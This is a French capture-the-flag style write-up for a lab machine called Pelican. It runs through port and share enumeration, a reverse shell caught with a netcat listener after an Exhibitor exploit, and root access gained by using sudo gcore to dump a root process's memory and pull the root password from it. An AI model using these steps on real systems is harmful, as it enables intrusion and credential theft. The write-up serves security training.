# Pelican
`exhibitor` `gcore` `ps`
* Nom machine : Pelican
* Difficulté : Intermédiaire
* OS : Linux
## Enumération
### NMAP
```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 15:41 EDT
Nmap scan report for 192.168.208.98
Host is up (0.032s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
| 256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_ 256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp open ipp CUPS 2.2
|_http-title: Forbidden - CUPS v2.2.10
|_http-server-header: CUPS/2.2 IPP/2.1
| http-methods:
|_ Potentially risky methods: PUT
2181/tcp open zookeeper Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
| 256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_ 256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
8080/tcp open http Jetty 1.0
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(1.0)
8081/tcp open http nginx 1.14.2
|_http-title: Did not follow redirect to http://192.168.208.98:8080/exhibitor/v1/ui/index.html
|_http-server-header: nginx/1.14.2
46295/tcp open java-rmi Java RMI
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h20m00s, deviation: 2h18m35s, median: 0s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-08-27T19:42:13
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: pelican
| NetBIOS computer name: PELICAN\x00
| Domain name: \x00
| FQDN: pelican
|_ System time: 2024-08-27T15:42:15-04:00
```
### HTTP (8080)
```
┌──(kali㉿kali)-[~/oscp]
└─$ dirsearch -u http://192.168.208.98:8080/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/oscp/reports/http_192.168.208.98_8080/__24-08-27_15-42-23.txt
Target: http://192.168.208.98:8080/
[15:42:23] Starting:
[15:42:36] 200 - 18KB - /application.wadl
[15:42:36] 200 - 18KB - /application.wadl?detail=true
```
On tombe sur un fichier xml
### SMB (139/445)
```
┌──(kali㉿kali)-[~]
└─$ smbmap -H 192.168.208.98
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 192.168.208.98:445 Name: 192.168.208.98 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
IPC$ NO ACCESS IPC Service (Samba 4.9.5-Debian)
```
Le partage print, en lien avec cups
### Cups (631)
La page nous indique forbidden.
### HTTP (8081)
Nous trouvons un exploit
## Accès initial
{% embed url="" %}
```
┌──(kali㉿kali)-[~/oscp]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.45.224] from (UNKNOWN) [192.168.208.98] 57430
whoami
charles
python -c 'import pty;pty.spawn("/bin/bash")'
charles@pelican:/opt/zookeeper$
```
## Elévation des privilèges
```
charles@pelican:~$ sudo -l
sudo -l
Matching Defaults entries for charles on pelican:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User charles may run the following commands on pelican:
(ALL) NOPASSWD: /usr/bin/gcore
```
```
charles@pelican:~/ps$ ps -ef -U root
ps -ef -U root
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 15:38 ? 00:00:00 /sbin/init
{...}
root 473 444 0 15:38 ? 00:00:00 /bin/sh -c while true; do chown
avahi 482 453 0 15:38 ? 00:00:00 avahi-daemon: chroot helper
root 483 1 0 15:38 ? 00:00:00 /usr/sbin/cups-browsed
root 490 1 0 15:38 ? 00:00:00 /usr/bin/password-store
root 491 1 0 15:38 ? 00:00:00 /usr/lib/policykit-1/polkitd --n
{...}
```
`/usr/bin/password-store`
```
charles@pelican:~/ps$ sudo gcore 490
sudo gcore 490
0x00007fec7ea386f4 in __GI___nanosleep (requested_time=requested_time@entry=0x7ffd84db2450, remaining=remaining@entry=0x7ffd84db2450) at ../sysdeps/unix/sysv/linux/nanosleep.c:28
28 ../sysdeps/unix/sysv/linux/nanosleep.c: No such file or directory.
Saved corefile core.490
[Inferior 1 (process 490) detached]
```
```
charles@pelican:~/ps$ strings core.490 | grep root -A 5 -B 5
strings core.490 | grep root -A 5 -B 5
/lib/x86_64-linux-gnu/libc.so.6
/usr/bin/passwor
////////////////
/usr/bin/passwor
////////////////
001 Password: root:
ClogKingpinInning731
x86_64
/usr/bin/password-store
HOME=/root
LOGNAME=root
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
LANG=en_US.UTF-8
SHELL=/bin/sh
PWD=/root
/usr/bin/password-store
bemX
__vdso_clock_gettime
__vdso_gettimeofday
__vdso_time
charles@pelican:~/ps$ su root
su root
Password: ClogKingpinInning731
root@pelican:/home/charles/ps# whoami
whoami
root
```
Nous sommes root !